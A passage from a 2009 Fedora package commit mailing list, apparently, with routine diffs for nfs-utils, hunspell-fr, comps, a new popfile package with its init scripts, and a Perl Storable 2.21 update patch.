@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 13%{?dist}
+Release: 14%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -32,6 +32,9 @@ Patch106: nfs-utils-1.2.0-mount-vers4.pa
 
 Patch200: nfs-utils-1.2.0-v4root-rel6.patch
 
+Patch300: nfs-utils-1.2.0-mntconf-vers.patch
+Patch301: nfs-utils-1.2.0-mntconf-negation.patch
+
 Group: System Environment/Daemons
 Provides: exportfs    = %{epoch}:%{version}-%{release}
 Provides: nfsstat     = %{epoch}:%{version}-%{release}
@@ -92,6 +95,9 @@ This package also contains the mount.nfs
 
 %patch200 -p1
 
+%patch300 -p1
+%patch301 -p1
+
 # Remove .orig files
 find . -name "*.orig" | xargs rm -f
 
@@ -262,6 +268,14 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
+* Wed Sep 30 2009 Steve Dickson <steved at redhat.com> 1.2.0-14
+- Change the nfsmount.conf file to define v3 as the default 
+  protocol version.
+- Make sure versions set on the command line override version
+  set in nfsmount.conf
+- Make version rollbacks still work when versions are set in
+  nfsmount.conf
+
 * Tue Sep 29 2009 Steve Dickson <steved at redhat.com> 1.2.0-13
 - Added upstream 1.2.1-rc5 patch
   - mount.nfs: Support negotiation between v4, v3, and v2



From steved at fedoraproject.org  Thu Oct  1 11:58:29 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Thu,  1 Oct 2009 11:58:29 +0000 (UTC)
Subject: rpms/nfs-utils/devel nfs-utils.spec,1.244,1.245
Message-ID: <20091001115829.31FEB11C00C1@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18763

Modified Files:
	nfs-utils.spec 
Log Message:
Bumped up Release so as not to collide with the F-12 branch



Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils.spec,v
retrieving revision 1.244
retrieving revision 1.245
diff -u -p -r1.244 -r1.245
--- nfs-utils.spec	1 Oct 2009 11:50:39 -0000	1.244
+++ nfs-utils.spec	1 Oct 2009 11:58:28 -0000	1.245
@@ -2,7 +2,7 @@ Summary: NFS utilities and supporting cl
 Name: nfs-utils
 URL: http://sourceforge.net/projects/nfs
 Version: 1.2.0
-Release: 14%{?dist}
+Release: 15%{?dist}
 Epoch: 1
 
 # group all 32bit related archs
@@ -268,7 +268,7 @@ fi
 %attr(4755,root,root)   /sbin/umount.nfs4
 
 %changelog
-* Wed Sep 30 2009 Steve Dickson <steved at redhat.com> 1.2.0-14
+* Wed Sep 30 2009 Steve Dickson <steved at redhat.com> 1.2.0-15
 - Change the nfsmount.conf file to define v3 as the default 
   protocol version.
 - Make sure versions set on the command line override version



From caolanm at fedoraproject.org  Thu Oct  1 12:08:27 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu,  1 Oct 2009 12:08:27 +0000 (UTC)
Subject: rpms/hunspell-fr/devel .cvsignore, 1.9, 1.10 hunspell-fr.spec, 1.12,
	1.13 sources, 1.9, 1.10
Message-ID: <20091001120827.DFA0811C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-fr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22646

Modified Files:
	.cvsignore hunspell-fr.spec sources 
Log Message:
latest version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-fr/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	11 Sep 2009 15:33:20 -0000	1.9
+++ .cvsignore	1 Oct 2009 12:08:27 -0000	1.10
@@ -1 +1 @@
-hunspell_fr_3-4.zip
+hunspell_fr_3-4-1.zip


Index: hunspell-fr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-fr/devel/hunspell-fr.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- hunspell-fr.spec	11 Sep 2009 15:33:20 -0000	1.12
+++ hunspell-fr.spec	1 Oct 2009 12:08:27 -0000	1.13
@@ -1,8 +1,8 @@
 Name: hunspell-fr
 Summary: French hunspell dictionaries
-Version: 3.4
+Version: 3.4.1
 Release: 1%{?dist}
-Source: http://www.dicollecte.org/download/fr/hunspell_fr_3-4.zip
+Source: http://www.dicollecte.org/download/fr/hunspell_fr_3-4-1.zip
 Group: Applications/Text
 URL: http://www.dicollecte.org/home.php?prj=fr
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,6 +42,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/myspell/*
 
 %changelog
+* Thu Oct 01 2009 Caolan McNamara <caolanm at redhat.com> - 3.4.1-1
+- latest version
+
 * Fri Sep 11 2009 Caolan McNamara <caolanm at redhat.com> - 3.4-1
 - latest version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-fr/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	11 Sep 2009 15:33:20 -0000	1.9
+++ sources	1 Oct 2009 12:08:27 -0000	1.10
@@ -1 +1 @@
-a6002a9ff88b01706da0ed754daa51bd  hunspell_fr_3-4.zip
+2f7a7075d1ecaec0de423d5ecced7cfa  hunspell_fr_3-4-1.zip



From chitlesh at fedoraproject.org  Thu Oct  1 12:17:31 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 12:17:31 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.29,1.30
Message-ID: <20091001121731.1163311C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24043

Modified Files:
	comps-f13.xml.in 
Log Message:
added fped to FEL


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- comps-f13.xml.in	30 Sep 2009 18:25:09 -0000	1.29
+++ comps-f13.xml.in	1 Oct 2009 12:17:30 -0000	1.30
@@ -1401,6 +1401,7 @@
       <packagereq type="default">emacs-vregs-mode</packagereq>
       <packagereq type="default">eqntott</packagereq>
       <packagereq type="default">espresso-ab</packagereq>
+      <packagereq type="default">fped</packagereq>
       <packagereq type="default">gds2pov</packagereq>
       <packagereq type="default">geda-docs</packagereq>
       <packagereq type="default">geda-examples</packagereq>



From amatubu at fedoraproject.org  Thu Oct  1 12:31:00 2009
From: amatubu at fedoraproject.org (Naoki IIMURA)
Date: Thu,  1 Oct 2009 12:31:00 +0000 (UTC)
Subject: rpms/popfile/devel import.log, NONE, 1.1 popfile, NONE,
	1.1 popfile.spec, NONE, 1.1 start_popfile.sh, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001123100.ABA9B11C00C1@cvs1.fedora.phx.redhat.com>

Author: amatubu

Update of /cvs/pkgs/rpms/popfile/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25771/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log popfile popfile.spec start_popfile.sh 
Log Message:



--- NEW FILE import.log ---
popfile-1_1_1-3_fc11:HEAD:popfile-1.1.1-3.fc11.src.rpm:1254400055


--- NEW FILE popfile ---
#!/bin/sh
#
# ---------------------------------------------------------------------------
#
# Copyright (c) 2001-2009 John Graham-Cumming
#
#   This file is part of POPFile
#
# POPFile is free software; you can redistribute it and/or modify it
# under the terms of verion 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# POPFile is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# ---------------------------------------------------------------------------

# ===
#
# popfile
#
# A shell script designed to start and stop POPFile from within
# /etc/init.d on *nix systems.
#
# usage: popfile { start | stop | restart | status }
 
##
# RedHat comment block...
#
# chkconfig: - 80 20
# description: POPFile is an automatic mail classification tool. Once \
#              properly set up and trained, it will scan all email as it \
#              arrives and classify it based on your training. You can give \
#              it a simple job, like separating out junk e-mail, or a \
#              complicated one-like filing mail into a dozen folders. Think \
#              of it as a personal assistant for your inbox.
# pidfile: /var/run/popfile.pid
# processname: popfile
##
 
##
# LSB comment block...
#
# The bogus 345 run-levels are a workround for a buggy RedHat chkconfig which
# reads the LSB comment block (incorrectly) as an undocumented 'feature'.
#
### BEGIN INIT INFO
# Provides: popfile
# Required-Start: $network
# Required-Stop: $network
# Short-Description: Start and stop POPFile
# Description: POPFile is an automatic mail classification tool. Once properly
#              set up and trained, it will scan all email as it arrives and
#              classify it based on your training. You can give it a simple
#              job, like separating out junk e-mail, or a complicated one-like
#              filing mail into a dozen folders. Think of it as a personal
#              assistant for your inbox.
### END INIT INFO
##

. /etc/rc.d/init.d/functions

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

popfile="${popfile_root}start_popfile.sh"
popfile_pid="${popfile_piddir}popfile.pid"
prog="popfile"

lockfile=/var/lock/subsys/${prog}

start() {
    [ -x ${popfile} ] || exit 5
    echo -n "Starting ${prog} as background process: "
    daemon --pidfile=${popfile_pid} ${popfile}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && touch ${lockfile}
    return ${retval}
}
 
stop() {
    echo -n "Stopping ${prog}: "
 
    killproc -p ${popfile_pid} ${prog}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && rm -f ${lockfile}
    return ${retval}
}
 
restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status -p ${popfile_pid} ${prog}
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}
 
case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
        ;;
esac

exit $?


--- NEW FILE popfile.spec ---
Summary: Automatic Email Classification

Name: popfile
Version: 1.1.1
Release: 3%{?dist}

Group: Applications/Internet

URL: http://getpopfile.org/
License: GPLv2

# BuildRequires:
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
BuildArch: noarch

Source0: http://getpopfile.org/downloads/%{name}-%{version}.zip
Source1: popfile
Source2: start_popfile.sh
# Patch0: no patch

#Requires: perl >= 5.8.1
#Requires: perl(Digest::MD5) perl(MIME::Base64) perl(MIME::QuotedPrint)
#Requires: perl(DBI)
Requires: perl(DBD::SQLite)
#Requires: perl(DBD::SQLite2)
#Requires: perl(Date::Parse) perl(Date::Format)
#Requires: perl(HTML::Template) perl(HTML::Tagset)
Requires: perl(IO::Socket::SSL)
Requires: perl(SOAP::Lite)
Requires: kakasi kakasi-dict perl(Text::Kakasi) perl(Encode)

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts

%description
POPFile is an automatic mail classification tool. Once properly set up
and trained, it will scan all email as it arrives and classify it
based on your training. You can give it a simple job, like separating
out junk e-mail, or a complicated one-like filing mail into a dozen
folders. Think of it as a personal assistant for your inbox.

%prep

%setup -q -c %{name}-%{version} -T
%{__unzip} -qoa %{SOURCE0}
find . -type f | xargs chmod 0644
%{__cp} -p %{SOURCE1} .
%{__cp} -p %{SOURCE2} .

%build

%install
%{__rm} -rf $RPM_BUILD_ROOT

# popfile program
%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/%{name}

%{__cp} -p -r * $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__install} -p -m 755 *.pl $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/popfile
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/license
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/v%{version}.change*

# popfile data files
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}
%{__cp} -p stopwords $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}/

# popfile log directory
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/log/%{name}

# start up script
%{__mkdir_p} $RPM_BUILD_ROOT%{_initddir}
%{__install} -p -m 755 popfile $RPM_BUILD_ROOT%{_initddir}/

%{__install} -p -m 755 start_popfile.sh $RPM_BUILD_ROOT%{_datadir}/%{name}/

%clean

%{__rm} -rf $RPM_BUILD_ROOT

%post

/sbin/chkconfig --add %{name}
#/sbin/chkconfig %{name} on
#/sbin/service %{name} start >/dev/null 2>&1
exit 0

%preun

if [ "$1" = 0 ]; then
    /sbin/service %{name} stop >/dev/null 2>&1
    #/sbin/chkconfig %{name} off
    /sbin/chkconfig --del %{name}
fi
exit 0

%postun

if [ "$1" -ge "1" ] ; then
    /sbin/service %{name} condrestart >/dev/null 2>&1 || :
fi
exit 0

%files
%defattr(-,root,root,-)

# popfile program
%{_datadir}/%{name}/

# popfile document files
%doc license
%doc v%{version}.change
%doc v%{version}.change.nihongo

# popfile data files
%dir %{_localstatedir}/lib/%{name}
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.cfg
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.db
%config(noreplace) %{_localstatedir}/lib/%{name}/stopwords

# popfile log directory
%dir %{_localstatedir}/log/%{name}

# start up script
%{_initddir}/popfile


%changelog
* Tue Sep 29 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-3
-  moved document files to the appropriate directory
-  removed unnecessary %%pre script
-  simplified the %%files section some more

* Mon Sep 28 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-2
-  removed the license statement
-  updated the release number to "<release number>%%{?dist}" style
-  removed the Vendor/Exclusiveos tags
-  removed the Requires tag for perl itself
-  updated the perl module dependencies to use virtual Provides names
-  added perl(Encode) dependency
-  fixed permission of popfile and start_popfile.sh
-  simplified the %%install section
-  added "-p" option to "install" command and "cp" command to preserve
   timestamps
-  rewrote macros in "%%{name}" style
-  use %%{_initddir} macro instead of %%{_initrddir}
-  added missing Requres(post), Requires(preun) and Requires(postun)
-  commented out '/sbin/service popfile stop' in %%pre script
-  added %%postun script
-  updated the scripts to use "/sbin/service" style
-  updated %%defattr to %%defattr(-,root,root,-) in the %%files section
-  simplified the %%files section
-  popfile init.d script
   updated chkconfig and deleted Default-Start and Default-Stop lines

* Sat Sep 26 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-1.1
-  new upstream version

* Sun Jul 5 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.3.rc3
-  new upstream version

* Mon Jun 22 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.2.rc2
-  new upstream version

* Sat Jun 20 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.1.rc1
-  release 1 for version 1.1.1-RC1



--- NEW FILE start_popfile.sh ---
#!/bin/sh

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

PARAMS="--set config_piddir=${popfile_piddir} --set logger_logdir=${popfile_logdir}"

export POPFILE_ROOT=${popfile_root}
export POPFILE_USER=${popfile_data}

umask 0027
exec /usr/share/popfile/popfile.pl $PARAMS &> ${logdir}/console.log &



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:51:06 -0000	1.1
+++ .cvsignore	1 Oct 2009 12:31:00 -0000	1.2
@@ -0,0 +1 @@
+popfile-1.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:51:07 -0000	1.1
+++ sources	1 Oct 2009 12:31:00 -0000	1.2
@@ -0,0 +1 @@
+005bd6c4a39db3489800e0d9552f7993  popfile-1.1.1.zip



From kasal at fedoraproject.org  Thu Oct  1 12:33:59 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  1 Oct 2009 12:33:59 +0000 (UTC)
Subject: rpms/perl/devel perl-update-Storable.patch, NONE, 1.1 perl.spec,
	1.232, 1.233 perl-5.10.0-Storable.patch, 1.1, NONE
Message-ID: <20091001123359.34A7C11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26724

Modified Files:
	perl.spec 
Added Files:
	perl-update-Storable.patch 
Removed Files:
	perl-5.10.0-Storable.patch 
Log Message:
- update Storable to 2.21

perl-update-Storable.patch:
 MANIFEST                   |    1 
 ext/Storable/ChangeLog     |   15 +++++++++++
 ext/Storable/MANIFEST      |    1 
 ext/Storable/Makefile.PL   |    1 
 ext/Storable/Storable.pm   |    4 +--
 ext/Storable/Storable.xs   |   60 ++++++++++++++++++++++++---------------------
 ext/Storable/hints/hpux.pl |   10 +++++++
 ext/Storable/t/overload.t  |   15 ++++++++++-
 8 files changed, 76 insertions(+), 31 deletions(-)

--- NEW FILE perl-update-Storable.patch ---
Storable-2.21

diff -urpN perl-5.10.0.orig/MANIFEST perl-5.10.0/MANIFEST
--- perl-5.10.0.orig/MANIFEST	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/MANIFEST	2009-10-01 13:18:44.000000000 +0200
@@ -1028,6 +1028,7 @@ ext/Socket/t/Socket.t		See if Socket wor
 ext/Storable/ChangeLog		Storable extension
 ext/Storable/hints/gnukfreebsd.pl	Hint for Storable for named architecture
 ext/Storable/hints/gnuknetbsd.pl	Hint for Storable for named architecture
+ext/Storable/hints/hpux.pl	Hint for Storable for named architecture
 ext/Storable/hints/linux.pl	Hint for Storable for named architecture
 ext/Storable/Makefile.PL	Storable extension
 ext/Storable/MANIFEST		Storable extension
diff -urpN perl-5.10.0.orig/ext/Storable/ChangeLog perl-5.10.0/ext/Storable/ChangeLog
--- perl-5.10.0.orig/ext/Storable/ChangeLog	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/ChangeLog	2009-10-01 13:17:50.000000000 +0200
@@ -1,3 +1,18 @@
+Thu Aug  6 10:55:50 IST 2009   Abhijit Menon-Sen <ams at toroid.org>
+
+    Version 2.21
+
+	Includes hints/hpux.pl that was inadvertently left out of 2.20.
+
+Mon May 18 09:38:20 IST 2009   Abhijit Menon-Sen <ams at toroid.org>
+
+    Version 2.20
+
+	Fix bug handling blessed references to overloaded objects, plus
+	other miscellaneous fixes.
+
+	(Version 2.19 was released with 5.8.9.)
+
 Thu Nov 22 13:24:18 IST 2007   Abhijit Menon-Sen <ams at toroid.org>
 
     Version 2.18
diff -urpN perl-5.10.0.orig/ext/Storable/MANIFEST perl-5.10.0/ext/Storable/MANIFEST
--- perl-5.10.0.orig/ext/Storable/MANIFEST	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/MANIFEST	2009-10-01 13:17:50.000000000 +0200
@@ -4,6 +4,7 @@ Makefile.PL		    Generic Makefile templa
 Storable.pm		    The perl side of Storable
 Storable.xs		    The C side of Storable
 ChangeLog		    Changes since baseline
+hints/hpux.pl		    Hint file to drop to -O1 on HPUX
 hints/linux.pl		    Hint file to drop gcc to -O2
 hints/gnukfreebsd.pl	    Hint file to drop gcc to -O2
 hints/gnuknetbsd.pl	    Hint file to drop gcc to -O2
diff -urpN perl-5.10.0.orig/ext/Storable/Makefile.PL perl-5.10.0/ext/Storable/Makefile.PL
--- perl-5.10.0.orig/ext/Storable/Makefile.PL	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/Makefile.PL	2009-10-01 13:17:58.000000000 +0200
@@ -11,7 +11,6 @@ use Config;
 WriteMakefile(
     NAME                => 'Storable',
     DISTNAME            => "Storable",
-    MAN3PODS            => {},
 # We now ship this in t/
 #    PREREQ_PM           => { 'Test::More' => '0.41' },
     INSTALLDIRS		=> $] >= 5.007 ? 'perl' : 'site',
diff -urpN perl-5.10.0.orig/ext/Storable/Storable.pm perl-5.10.0/ext/Storable/Storable.pm
--- perl-5.10.0.orig/ext/Storable/Storable.pm	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/Storable.pm	2009-10-01 13:17:58.000000000 +0200
@@ -23,7 +23,7 @@ use AutoLoader;
 use FileHandle;
 use vars qw($canonical $forgive_me $VERSION);
 
-$VERSION = '2.18';
+$VERSION = '2.21';
 *AUTOLOAD = \&AutoLoader::AUTOLOAD;		# Grrr...
 
 #
@@ -1177,7 +1177,7 @@ Storable was written by Raphael Manfredi
 Maintenance is now done by the perl5-porters F<E<lt>perl5-porters at perl.orgE<gt>>
 
 Please e-mail us with problems, bug fixes, comments and complaints,
-although if you have complements you should send them to Raphael.
+although if you have compliments you should send them to Raphael.
 Please don't e-mail Raphael with problems, as he no longer works on
 Storable, and your message will be delayed while he forwards it to us.
 
diff -urpN perl-5.10.0.orig/ext/Storable/Storable.xs perl-5.10.0/ext/Storable/Storable.xs
--- perl-5.10.0.orig/ext/Storable/Storable.xs	2007-12-18 11:47:07.000000000 +0100
+++ perl-5.10.0/ext/Storable/Storable.xs	2009-10-01 13:17:58.000000000 +0200
@@ -151,7 +151,7 @@ typedef double NV;			/* Older perls lack
 
 #define TRACEME(x)										\
   STMT_START {											\
-	if (SvTRUE(perl_get_sv("Storable::DEBUGME", TRUE)))	\
+	if (SvTRUE(perl_get_sv("Storable::DEBUGME", GV_ADD)))	\
 		{ PerlIO_stdoutf x; PerlIO_stdoutf("\n"); }		\
   } STMT_END
 #else
@@ -401,7 +401,7 @@ typedef struct stcxt {
 
 #if (PATCHLEVEL <= 4) && (SUBVERSION < 68)
 #define dSTCXT_SV 									\
-	SV *perinterp_sv = perl_get_sv(MY_VERSION, FALSE)
+	SV *perinterp_sv = perl_get_sv(MY_VERSION, 0)
 #else	/* >= perl5.004_68 */
 #define dSTCXT_SV									\
 	SV *perinterp_sv = *hv_fetch(PL_modglobal,		\
@@ -1682,7 +1682,7 @@ static SV *pkg_fetchmeth(
         pTHX_
 	HV *cache,
 	HV *pkg,
-	char *method)
+	const char *method)
 {
 	GV *gv;
 	SV *sv;
@@ -1722,7 +1722,7 @@ static void pkg_hide(
         pTHX_
 	HV *cache,
 	HV *pkg,
-	char *method)
+	const char *method)
 {
 	const char *hvname = HvNAME_get(pkg);
 	(void) hv_store(cache,
@@ -1738,7 +1738,7 @@ static void pkg_uncache(
         pTHX_
 	HV *cache,
 	HV *pkg,
-	char *method)
+	const char *method)
 {
 	const char *hvname = HvNAME_get(pkg);
 	(void) hv_delete(cache, hvname, strlen(hvname), G_DISCARD);
@@ -1756,7 +1756,7 @@ static SV *pkg_can(
         pTHX_
 	HV *cache,
 	HV *pkg,
-	char *method)
+	const char *method)
 {
 	SV **svh;
 	SV *sv;
@@ -2332,7 +2332,7 @@ static int store_hash(pTHX_ stcxt_t *cxt
 	if (
 		!(cxt->optype & ST_CLONE) && (cxt->canonical == 1 ||
 		(cxt->canonical < 0 && (cxt->canonical =
-			(SvTRUE(perl_get_sv("Storable::canonical", TRUE)) ? 1 : 0))))
+			(SvTRUE(perl_get_sv("Storable::canonical", GV_ADD)) ? 1 : 0))))
 	) {
 		/*
 		 * Storing in order, sorted by key.
@@ -2619,7 +2619,7 @@ static int store_code(pTHX_ stcxt_t *cxt
 	if (
 		cxt->deparse == 0 ||
 		(cxt->deparse < 0 && !(cxt->deparse =
-			SvTRUE(perl_get_sv("Storable::Deparse", TRUE)) ? 1 : 0))
+			SvTRUE(perl_get_sv("Storable::Deparse", GV_ADD)) ? 1 : 0))
 	) {
 		return store_other(aTHX_ cxt, (SV*)cv);
 	}
@@ -3397,7 +3397,7 @@ static int store_other(pTHX_ stcxt_t *cx
 	if (
 		cxt->forgive_me == 0 ||
 		(cxt->forgive_me < 0 && !(cxt->forgive_me =
-			SvTRUE(perl_get_sv("Storable::forgive_me", TRUE)) ? 1 : 0))
+			SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
 	)
 		CROAK(("Can't store %s items", sv_reftype(sv, FALSE)));
 
@@ -3434,7 +3434,9 @@ static int sv_type(pTHX_ SV *sv)
 {
 	switch (SvTYPE(sv)) {
 	case SVt_NULL:
+#if PERL_VERSION <= 10
 	case SVt_IV:
+#endif
 	case SVt_NV:
 		/*
 		 * No need to check for ROK, that can't be set here since there
@@ -3442,7 +3444,11 @@ static int sv_type(pTHX_ SV *sv)
 		 */
 		return svis_SCALAR;
 	case SVt_PV:
+#if PERL_VERSION <= 10
 	case SVt_RV:
+#else
+	case SVt_IV:
+#endif
 	case SVt_PVIV:
 	case SVt_PVNV:
 		/*
@@ -3683,7 +3689,7 @@ static int magic_write(pTHX_ stcxt_t *cx
         length = sizeof (network_file_header);
     } else {
 #ifdef USE_56_INTERWORK_KLUDGE
-        if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", TRUE))) {
+        if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) {
             header = file_header_56;
             length = sizeof (file_header_56);
         } else
@@ -4444,7 +4450,7 @@ static SV *retrieve_hook(pTHX_ stcxt_t *
 	 * into the existing design.  -- RAM, 17/02/2001
 	 */
 
-	sv_magic(sv, rv, mtype, Nullch, 0);
+	sv_magic(sv, rv, mtype, (char *)NULL, 0);
 	SvREFCNT_dec(rv);			/* Undo refcnt inc from sv_magic() */
 
 	return sv;
@@ -4497,7 +4503,7 @@ static SV *retrieve_ref(pTHX_ stcxt_t *c
 
 	if (cname) {
 		/* No need to do anything, as rv will already be PVMG.  */
-		assert (SvTYPE(rv) >= SVt_RV);
+		assert (SvTYPE(rv) == SVt_RV || SvTYPE(rv) >= SVt_PV);
 	} else {
 		sv_upgrade(rv, SVt_RV);
 	}
@@ -4561,7 +4567,7 @@ static SV *retrieve_overloaded(pTHX_ stc
 	 * WARNING: breaks RV encapsulation.
 	 */
 
-	sv_upgrade(rv, SVt_RV);
+	SvUPGRADE(rv, SVt_RV);
 	SvRV_set(rv, sv);				/* $rv = \$sv */
 	SvROK_on(rv);
 
@@ -4641,7 +4647,7 @@ static SV *retrieve_tied_array(pTHX_ stc
 
 	sv_upgrade(tv, SVt_PVAV);
 	AvREAL_off((AV *)tv);
-	sv_magic(tv, sv, 'P', Nullch, 0);
+	sv_magic(tv, sv, 'P', (char *)NULL, 0);
 	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
 
 	TRACEME(("ok (retrieve_tied_array at 0x%"UVxf")", PTR2UV(tv)));
@@ -4669,7 +4675,7 @@ static SV *retrieve_tied_hash(pTHX_ stcx
 		return (SV *) 0;		/* Failed */
 
 	sv_upgrade(tv, SVt_PVHV);
-	sv_magic(tv, sv, 'P', Nullch, 0);
+	sv_magic(tv, sv, 'P', (char *)NULL, 0);
 	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
 
 	TRACEME(("ok (retrieve_tied_hash at 0x%"UVxf")", PTR2UV(tv)));
@@ -4701,7 +4707,7 @@ static SV *retrieve_tied_scalar(pTHX_ st
 	}
 
 	sv_upgrade(tv, SVt_PVMG);
-	sv_magic(tv, obj, 'q', Nullch, 0);
+	sv_magic(tv, obj, 'q', (char *)NULL, 0);
 
 	if (obj) {
 		/* Undo refcnt inc from sv_magic() */
@@ -4768,7 +4774,7 @@ static SV *retrieve_tied_idx(pTHX_ stcxt
 	RLEN(idx);					/* Retrieve <idx> */
 
 	sv_upgrade(tv, SVt_PVMG);
-	sv_magic(tv, sv, 'p', Nullch, idx);
+	sv_magic(tv, sv, 'p', (char *)NULL, idx);
 	SvREFCNT_dec(sv);			/* Undo refcnt inc from sv_magic() */
 
 	return tv;
@@ -4907,7 +4913,7 @@ static SV *retrieve_utf8str(pTHX_ stcxt_
 #else
         if (cxt->use_bytes < 0)
             cxt->use_bytes
-                = (SvTRUE(perl_get_sv("Storable::drop_utf8", TRUE))
+                = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
                    ? 1 : 0);
         if (cxt->use_bytes == 0)
             UTF8_CROAK();
@@ -4936,7 +4942,7 @@ static SV *retrieve_lutf8str(pTHX_ stcxt
 #else
         if (cxt->use_bytes < 0)
             cxt->use_bytes
-                = (SvTRUE(perl_get_sv("Storable::drop_utf8", TRUE))
+                = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
                    ? 1 : 0);
         if (cxt->use_bytes == 0)
             UTF8_CROAK();
@@ -5267,7 +5273,7 @@ static SV *retrieve_flag_hash(pTHX_ stcx
     if (hash_flags & SHV_RESTRICTED) {
         if (cxt->derestrict < 0)
             cxt->derestrict
-                = (SvTRUE(perl_get_sv("Storable::downgrade_restricted", TRUE))
+                = (SvTRUE(perl_get_sv("Storable::downgrade_restricted", GV_ADD))
                    ? 1 : 0);
         if (cxt->derestrict == 0)
